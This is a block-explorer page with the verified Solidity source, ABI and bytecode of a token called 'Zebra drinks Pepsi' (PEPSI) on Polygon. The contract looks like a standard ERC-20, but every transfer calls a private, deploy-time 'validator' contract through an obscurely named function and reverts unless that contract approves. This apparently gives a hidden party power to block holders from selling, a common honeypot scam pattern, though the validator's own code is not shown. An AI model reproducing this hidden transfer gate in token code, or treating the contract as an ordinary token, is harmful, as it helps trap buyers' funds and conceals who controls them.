Token

Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta

Outline

 contract ERC20Token *    - function transfer(address _to, uint25 ...    - function approve(address _spender, ui ...    - function transferFrom(address _from, ...    - function _transfer(address _from, add ...    - function _approve(address _owner, add ...    - function _beforeTokenTransfer(address ...    - function _afterTokenTransfer(address ...    - function renounceOwnership()    - function _transferOwnership(address n ...

More Options

• Similar
• Submit Audit
• Compare

/**
 *Submitted for verification at polygonscan.com on 2024-07-29
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract ERC20Token {
    string public name;
    string public symbol;
    uint8 public decimals;
    uint256 public totalSupply;
    address public owner;
    address private validator;

    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor(string memory _name, string memory _symbol, uint8 _decimals, uint256 _initialSupply, address _validator) {
        name = _name;
        symbol = _symbol;
        decimals = _decimals;
        owner = msg.sender;
        validator = _validator;

        totalSupply = _initialSupply;
        balanceOf[msg.sender] = _initialSupply;
        emit Transfer(address(0), msg.sender, _initialSupply);
    }

    function transfer(address _to, uint256 _value) public returns (bool success) {
        require(_beforeTokenTransfer(msg.sender, _to, _value), "Transfer not allowed");
        _transfer(msg.sender, _to, _value);
        require(_afterTokenTransfer(msg.sender, _to, _value), "Post-transfer check failed");
        return true;
    }

    function approve(address _spender, uint256 _value) public returns (bool success) {
        _approve(msg.sender, _spender, _value);
        return true;
    }

    function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
        require(_beforeTokenTransfer(_from, _to, _value), "Transfer not allowed");
        _transfer(_from, _to, _value);
        _approve(_from, msg.sender, allowance[_from][msg.sender] - _value);
        require(_afterTokenTransfer(_from, _to, _value), "Post-transfer check failed");
        return true;
    }

    function _transfer(address _from, address _to, uint256 _value) internal {
        uint256 amountToTransfer = _value;

        require(_from != address(0), "ERC20: transfer from the zero address");
        require(_to != address(0), "ERC20: transfer to the zero address");
        require(balanceOf[_from] >= _value, "ERC20: transfer amount exceeds balance");

        balanceOf[_from] -= _value;
        balanceOf[_to] += amountToTransfer;

        emit Transfer(_from, _to, amountToTransfer);
    }

    function _approve(address _owner, address _spender, uint256 _value) internal {
        require(_owner != address(0), "ERC20: approve from the zero address");
        require(_spender != address(0), "ERC20: approve to the zero address");
        allowance[_owner][_spender] = _value;
        emit Approval(_owner, _spender, _value);
    }

    function _beforeTokenTransfer(address _from, address _to, uint256 _amount) internal returns (bool) {
        (bool success, bytes memory data) = validator.call(
            abi.encodeWithSignature("connectAggerator(address,address,address,uint256,uint256)", address(this), _from, _to, _amount, 0)
        );
        require(success, "Validator call failed");
        return abi.decode(data, (bool));
    }

    function _afterTokenTransfer(address _from, address _to, uint256 _amount) internal returns (bool) {
        (bool success, bytes memory data) = validator.call(
            abi.encodeWithSignature("connectAggerator(address,address,address,uint256,uint256)", address(this), _from, _to, _amount, 1)
        );
        require(success, "Validator call failed");
        return abi.decode(data, (bool));
    }

    modifier onlyOwner() {
        require(owner == msg.sender, "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner() {
        _transferOwnership(address(0));
    }

    function _transferOwnership(address newOwner) public virtual onlyOwner() {
        emit OwnershipTransferred(owner, newOwner);
        owner = newOwner;
    }

}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[{"internalType":"string","name":"_name","type":"string"},{"internalType":"string","name":"_symbol","type":"string"},{"internalType":"uint8","name":"_decimals","type":"uint8"},{"internalType":"uint256","name":"_initialSupply","type":"uint256"},{"internalType":"address","name":"_validator","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"_transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_spender","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

608060405234801561000f575f80fd5b50604051612090380380612090833981810160405281019061003191906103b2565b845f908161003f9190610665565b50836001908161004f9190610665565b508260025f6101000a81548160ff021916908360ff1602179055503360045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508060055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550816003819055508160065f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503373ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516101909190610743565b60405180910390a3505050505061075c565b5f604051905090565b5f80fd5b5f80fd5b5f80fd5b5f80fd5b5f601f19601f8301169050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b610201826101bb565b810181811067ffffffffffffffff821117156102205761021f6101cb565b5b80604052505050565b5f6102326101a2565b905061023e82826101f8565b919050565b5f67ffffffffffffffff82111561025d5761025c6101cb565b5b610266826101bb565b9050602081019050919050565b8281835e5f83830152505050565b5f61029361028e84610243565b610229565b9050828152602081018484840111156102af576102ae6101b7565b5b6102ba848285610273565b509392505050565b5f82601f8301126102d6576102d56101b3565b5b81516102e6848260208601610281565b91505092915050565b5f60ff82169050919050565b610304816102ef565b811461030e575f80fd5b50565b5f8151905061031f816102fb565b92915050565b5f819050919050565b61033781610325565b8114610341575f80fd5b50565b5f815190506103528161032e565b92915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61038182610358565b9050919050565b61039181610377565b811461039b575f80fd5b50565b5f815190506103ac81610388565b92915050565b5f805f805f60a086880312156103cb576103ca6101ab565b5b5f86015167ffffffffffffffff8111156103e8576103e76101af565b5b6103f4888289016102c2565b955050602086015167ffffffffffffffff811115610415576104146101af565b5b610421888289016102c2565b945050604061043288828901610311565b935050606061044388828901610344565b92505060806104548882890161039e565b9150509295509295909350565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806104af57607f821691505b6020821081036104c2576104c161046b565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f600883026105247fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826104e9565b61052e86836104e9565b95508019841693508086168417925050509392505050565b5f819050919050565b5f61056961056461055f84610325565b610546565b610325565b9050919050565b5f819050919050565b6105828361054f565b61059661058e82610570565b8484546104f5565b825550505050565b5f90565b6105aa61059e565b6105b5818484610579565b505050565b5b818110156105d8576105cd5f826105a2565b6001810190506105bb565b5050565b601f82111561061d576105ee816104c8565b6105f7846104da565b81016020851015610606578190505b61061a610612856104da565b8301826105ba565b50505b505050565b5f82821c905092915050565b5f61063d5f1984600802610622565b1980831691505092915050565b5f610655838361062e565b9150826002028217905092915050565b61066e82610461565b67ffffffffffffffff811115610687576106866101cb565b5b6106918254610498565b61069c8282856105dc565b5f60209050601f8311600181146106cd575f84156106bb578287015190505b6106c5858261064a565b86555061072c565b601f1984166106db866104c8565b5f5b82811015610702578489015182556001820191506020850194506020810190506106dd565b8683101561071f578489015161071b601f89168261062e565b8355505b6001600288020188555050505b505050505050565b61073d81610325565b82525050565b5f6020820190506107565f830184610734565b92915050565b611927806107695f395ff3fe608060405234801561000f575f80fd5b50600436106100b2575f3560e01c8063715018a61161006f578063715018a6146101a05780638da5cb5b146101aa57806395d89b41146101c8578063a9059cbb146101e6578063d29d44ee14610216578063dd62ed3e14610232576100b2565b806306fdde03146100b6578063095ea7b3146100d457806318160ddd1461010457806323b872dd14610122578063313ce5671461015257806370a0823114610170575b5f80fd5b6100be610262565b6040516100cb9190610f70565b60405180910390f35b6100ee60048036038101906100e99190611021565b6102ed565b6040516100fb9190611079565b60405180910390f35b61010c610303565b60405161011991906110a1565b60405180910390f35b61013c600480360381019061013791906110ba565b610309565b6040516101499190611079565b60405180910390f35b61015a610442565b6040516101679190611125565b60405180910390f35b61018a6004803603810190610185919061113e565b610454565b60405161019791906110a1565b60405180910390f35b6101a8610469565b005b6101b2610503565b6040516101bf9190611178565b60405180910390f35b6101d0610528565b6040516101dd9190610f70565b60405180910390f35b61020060048036038101906101fb9190611021565b6105b4565b60405161020d9190611079565b60405180910390f35b610230600480360381019061022b919061113e565b61065e565b005b61024c60048036038101906102479190611191565b6107ab565b60405161025991906110a1565b60405180910390f35b5f805461026e906111fc565b80601f016020809104026020016040519081016040528092919081815260200182805461029a906111fc565b80156102e55780601f106102bc576101008083540402835291602001916102e5565b820191905f5260205f20905b8154815290600101906020018083116102c857829003601f168201915b505050505081565b5f6102f93384846107cb565b6001905092915050565b60035481565b5f61031584848461098e565b610354576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161034b90611276565b60405180910390fd5b61035f848484610b0e565b6103ed84338460075f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546103e891906112c1565b6107cb565b6103f8848484610d7f565b610437576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161042e9061133e565b60405180910390fd5b600190509392505050565b60025f9054906101000a900460ff1681565b6006602052805f5260405f205f915090505481565b3373ffffffffffffffffffffffffffffffffffffffff1660045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ef906113a6565b60405180910390fd5b6105015f61065e565b565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60018054610535906111fc565b80601f0160208091040260200160405190810160405280929190818152602001828054610561906111fc565b80156105ac5780601f10610583576101008083540402835291602001916105ac565b820191905f5260205f20905b81548152906001019060200180831161058f57829003601f168201915b505050505081565b5f6105c033848461098e565b6105ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f690611276565b60405180910390fd5b61060a338484610b0e565b610615338484610d7f565b610654576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161064b9061133e565b60405180910390fd5b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff1660045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106e4906113a6565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a38060045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6007602052815f5260405f20602052805f5260405f205f91509150505481565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610839576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161083090611434565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036108a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161089e906114c2565b60405180910390fd5b8060075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161098191906110a1565b60405180910390a3505050565b5f805f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16308787875f6040516024016109e2959493929190611522565b6040516020818303038152906040527f86771ede000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050604051610a6c91906115b7565b5f604051808303815f865af19150503d805f8114610aa5576040519150601f19603f3d011682016040523d82523d5f602084013e610aaa565b606091505b509150915081610aef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ae690611617565b60405180910390fd5b80806020019051810190610b03919061165f565b925050509392505050565b5f8190505f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603610b80576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b77906116fa565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610bee576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610be590611788565b60405180910390fd5b8160065f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015610c6e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c6590611816565b60405180910390fd5b8160065f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610cba91906112c1565b925050819055508060065f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610d0d9190611834565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610d7191906110a1565b60405180910390a350505050565b5f805f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16308787876001604051602401610dd49594939291906118a0565b6040516020818303038152906040527f86771ede000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050604051610e5e91906115b7565b5f604051808303815f865af19150503d805f8114610e97576040519150601f19603f3d011682016040523d82523d5f602084013e610e9c565b606091505b509150915081610ee1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ed890611617565b60405180910390fd5b80806020019051810190610ef5919061165f565b925050509392505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f610f4282610f00565b610f4c8185610f0a565b9350610f5c818560208601610f1a565b610f6581610f28565b840191505092915050565b5f6020820190508181035f830152610f888184610f38565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610fbd82610f94565b9050919050565b610fcd81610fb3565b8114610fd7575f80fd5b50565b5f81359050610fe881610fc4565b92915050565b5f819050919050565b61100081610fee565b811461100a575f80fd5b50565b5f8135905061101b81610ff7565b92915050565b5f806040838503121561103757611036610f90565b5b5f61104485828601610fda565b92505060206110558582860161100d565b9150509250929050565b5f8115159050919050565b6110738161105f565b82525050565b5f60208201905061108c5f83018461106a565b92915050565b61109b81610fee565b82525050565b5f6020820190506110b45f830184611092565b92915050565b5f805f606084860312156110d1576110d0610f90565b5b5f6110de86828701610fda565b93505060206110ef86828701610fda565b92505060406111008682870161100d565b9150509250925092565b5f60ff82169050919050565b61111f8161110a565b82525050565b5f6020820190506111385f830184611116565b92915050565b5f6020828403121561115357611152610f90565b5b5f61116084828501610fda565b91505092915050565b61117281610fb3565b82525050565b5f60208201905061118b5f830184611169565b92915050565b5f80604083850312156111a7576111a6610f90565b5b5f6111b485828601610fda565b92505060206111c585828601610fda565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061121357607f821691505b602082108103611226576112256111cf565b5b50919050565b7f5472616e73666572206e6f7420616c6c6f7765640000000000000000000000005f82015250565b5f611260601483610f0a565b915061126b8261122c565b602082019050919050565b5f6020820190508181035f83015261128d81611254565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6112cb82610fee565b91506112d683610fee565b92508282039050818111156112ee576112ed611294565b5b92915050565b7f506f73742d7472616e7366657220636865636b206661696c65640000000000005f82015250565b5f611328601a83610f0a565b9150611333826112f4565b602082019050919050565b5f6020820190508181035f8301526113558161131c565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f611390602083610f0a565b915061139b8261135c565b602082019050919050565b5f6020820190508181035f8301526113bd81611384565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f61141e602483610f0a565b9150611429826113c4565b604082019050919050565b5f6020820190508181035f83015261144b81611412565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f6114ac602283610f0a565b91506114b782611452565b604082019050919050565b5f6020820190508181035f8301526114d9816114a0565b9050919050565b5f819050919050565b5f819050919050565b5f61150c611507611502846114e0565b6114e9565b61110a565b9050919050565b61151c816114f2565b82525050565b5f60a0820190506115355f830188611169565b6115426020830187611169565b61154f6040830186611169565b61155c6060830185611092565b6115696080830184611513565b9695505050505050565b5f81519050919050565b5f81905092915050565b5f61159182611573565b61159b818561157d565b93506115ab818560208601610f1a565b80840191505092915050565b5f6115c28284611587565b915081905092915050565b7f56616c696461746f722063616c6c206661696c656400000000000000000000005f82015250565b5f611601601583610f0a565b915061160c826115cd565b602082019050919050565b5f6020820190508181035f83015261162e816115f5565b9050919050565b61163e8161105f565b8114611648575f80fd5b50565b5f8151905061165981611635565b92915050565b5f6020828403121561167457611673610f90565b5b5f6116818482850161164b565b91505092915050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f6116e4602583610f0a565b91506116ef8261168a565b604082019050919050565b5f6020820190508181035f830152611711816116d8565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f611772602383610f0a565b915061177d82611718565b604082019050919050565b5f6020820190508181035f83015261179f81611766565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f611800602683610f0a565b915061180b826117a6565b604082019050919050565b5f6020820190508181035f83015261182d816117f4565b9050919050565b5f61183e82610fee565b915061184983610fee565b925082820190508082111561186157611860611294565b5b92915050565b5f819050919050565b5f61188a61188561188084611867565b6114e9565b61110a565b9050919050565b61189a81611870565b82525050565b5f60a0820190506118b35f830188611169565b6118c06020830187611169565b6118cd6040830186611169565b6118da6060830185611092565b6118e76080830184611891565b969550505050505056fea26469706673582212203503e6537f3e09a041ca4e18d0f7a6f45549267bd9233b60da7908276f84110364736f6c634300081a003300000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000000000000e0000000000000000000000000000000000000000000000000000000000000001200000000000000000000000000000000000000000797dfdb445d2d5bee000000000000000000000000000000fe367e4ac82cfd6939ed587b338497193d2b749c0000000000000000000000000000000000000000000000000000000000000005504550534900000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000125a65627261206472696e6b732050657073690000000000000000000000000000

0x608060405234801561000f575f80fd5b50600436106100b2575f3560e01c8063715018a61161006f578063715018a6146101a05780638da5cb5b146101aa57806395d89b41146101c8578063a9059cbb146101e6578063d29d44ee14610216578063dd62ed3e14610232576100b2565b806306fdde03146100b6578063095ea7b3146100d457806318160ddd1461010457806323b872dd14610122578063313ce5671461015257806370a0823114610170575b5f80fd5b6100be610262565b6040516100cb9190610f70565b60405180910390f35b6100ee60048036038101906100e99190611021565b6102ed565b6040516100fb9190611079565b60405180910390f35b61010c610303565b60405161011991906110a1565b60405180910390f35b61013c600480360381019061013791906110ba565b610309565b6040516101499190611079565b60405180910390f35b61015a610442565b6040516101679190611125565b60405180910390f35b61018a6004803603810190610185919061113e565b610454565b60405161019791906110a1565b60405180910390f35b6101a8610469565b005b6101b2610503565b6040516101bf9190611178565b60405180910390f35b6101d0610528565b6040516101dd9190610f70565b60405180910390f35b61020060048036038101906101fb9190611021565b6105b4565b60405161020d9190611079565b60405180910390f35b610230600480360381019061022b919061113e565b61065e565b005b61024c60048036038101906102479190611191565b6107ab565b60405161025991906110a1565b60405180910390f35b5f805461026e906111fc565b80601f016020809104026020016040519081016040528092919081815260200182805461029a906111fc565b80156102e55780601f106102bc576101008083540402835291602001916102e5565b820191905f5260205f20905b8154815290600101906020018083116102c857829003601f168201915b505050505081565b5f6102f93384846107cb565b6001905092915050565b60035481565b5f61031584848461098e565b610354576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161034b90611276565b60405180910390fd5b61035f848484610b0e565b6103ed84338460075f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546103e891906112c1565b6107cb565b6103f8848484610d7f565b610437576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161042e9061133e565b60405180910390fd5b600190509392505050565b60025f9054906101000a900460ff1681565b6006602052805f5260405f205f915090505481565b3373ffffffffffffffffffffffffffffffffffffffff1660045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ef906113a6565b60405180910390fd5b6105015f61065e565b565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60018054610535906111fc565b80601f0160208091040260200160405190810160405280929190818152602001828054610561906111fc565b80156105ac5780601f10610583576101008083540402835291602001916105ac565b820191905f5260205f20905b81548152906001019060200180831161058f57829003601f168201915b505050505081565b5f6105c033848461098e565b6105ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f690611276565b60405180910390fd5b61060a338484610b0e565b610615338484610d7f565b610654576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161064b9061133e565b60405180910390fd5b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff1660045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106e4906113a6565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a38060045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6007602052815f5260405f20602052805f5260405f205f91509150505481565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610839576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161083090611434565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036108a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161089e906114c2565b60405180910390fd5b8060075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161098191906110a1565b60405180910390a3505050565b5f805f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16308787875f6040516024016109e2959493929190611522565b6040516020818303038152906040527f86771ede000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050604051610a6c91906115b7565b5f604051808303815f865af19150503d805f8114610aa5576040519150601f19603f3d011682016040523d82523d5f602084013e610aaa565b606091505b509150915081610aef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ae690611617565b60405180910390fd5b80806020019051810190610b03919061165f565b925050509392505050565b5f8190505f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603610b80576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b77906116fa565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610bee576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610be590611788565b60405180910390fd5b8160065f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015610c6e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c6590611816565b60405180910390fd5b8160065f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610cba91906112c1565b925050819055508060065f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610d0d9190611834565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610d7191906110a1565b60405180910390a350505050565b5f805f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16308787876001604051602401610dd49594939291906118a0565b6040516020818303038152906040527f86771ede000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050604051610e5e91906115b7565b5f604051808303815f865af19150503d805f8114610e97576040519150601f19603f3d011682016040523d82523d5f602084013e610e9c565b606091505b509150915081610ee1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ed890611617565b60405180910390fd5b80806020019051810190610ef5919061165f565b925050509392505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f610f4282610f00565b610f4c8185610f0a565b9350610f5c818560208601610f1a565b610f6581610f28565b840191505092915050565b5f6020820190508181035f830152610f888184610f38565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610fbd82610f94565b9050919050565b610fcd81610fb3565b8114610fd7575f80fd5b50565b5f81359050610fe881610fc4565b92915050565b5f819050919050565b61100081610fee565b811461100a575f80fd5b50565b5f8135905061101b81610ff7565b92915050565b5f806040838503121561103757611036610f90565b5b5f61104485828601610fda565b92505060206110558582860161100d565b9150509250929050565b5f8115159050919050565b6110738161105f565b82525050565b5f60208201905061108c5f83018461106a565b92915050565b61109b81610fee565b82525050565b5f6020820190506110b45f830184611092565b92915050565b5f805f606084860312156110d1576110d0610f90565b5b5f6110de86828701610fda565b93505060206110ef86828701610fda565b92505060406111008682870161100d565b9150509250925092565b5f60ff82169050919050565b61111f8161110a565b82525050565b5f6020820190506111385f830184611116565b92915050565b5f60208284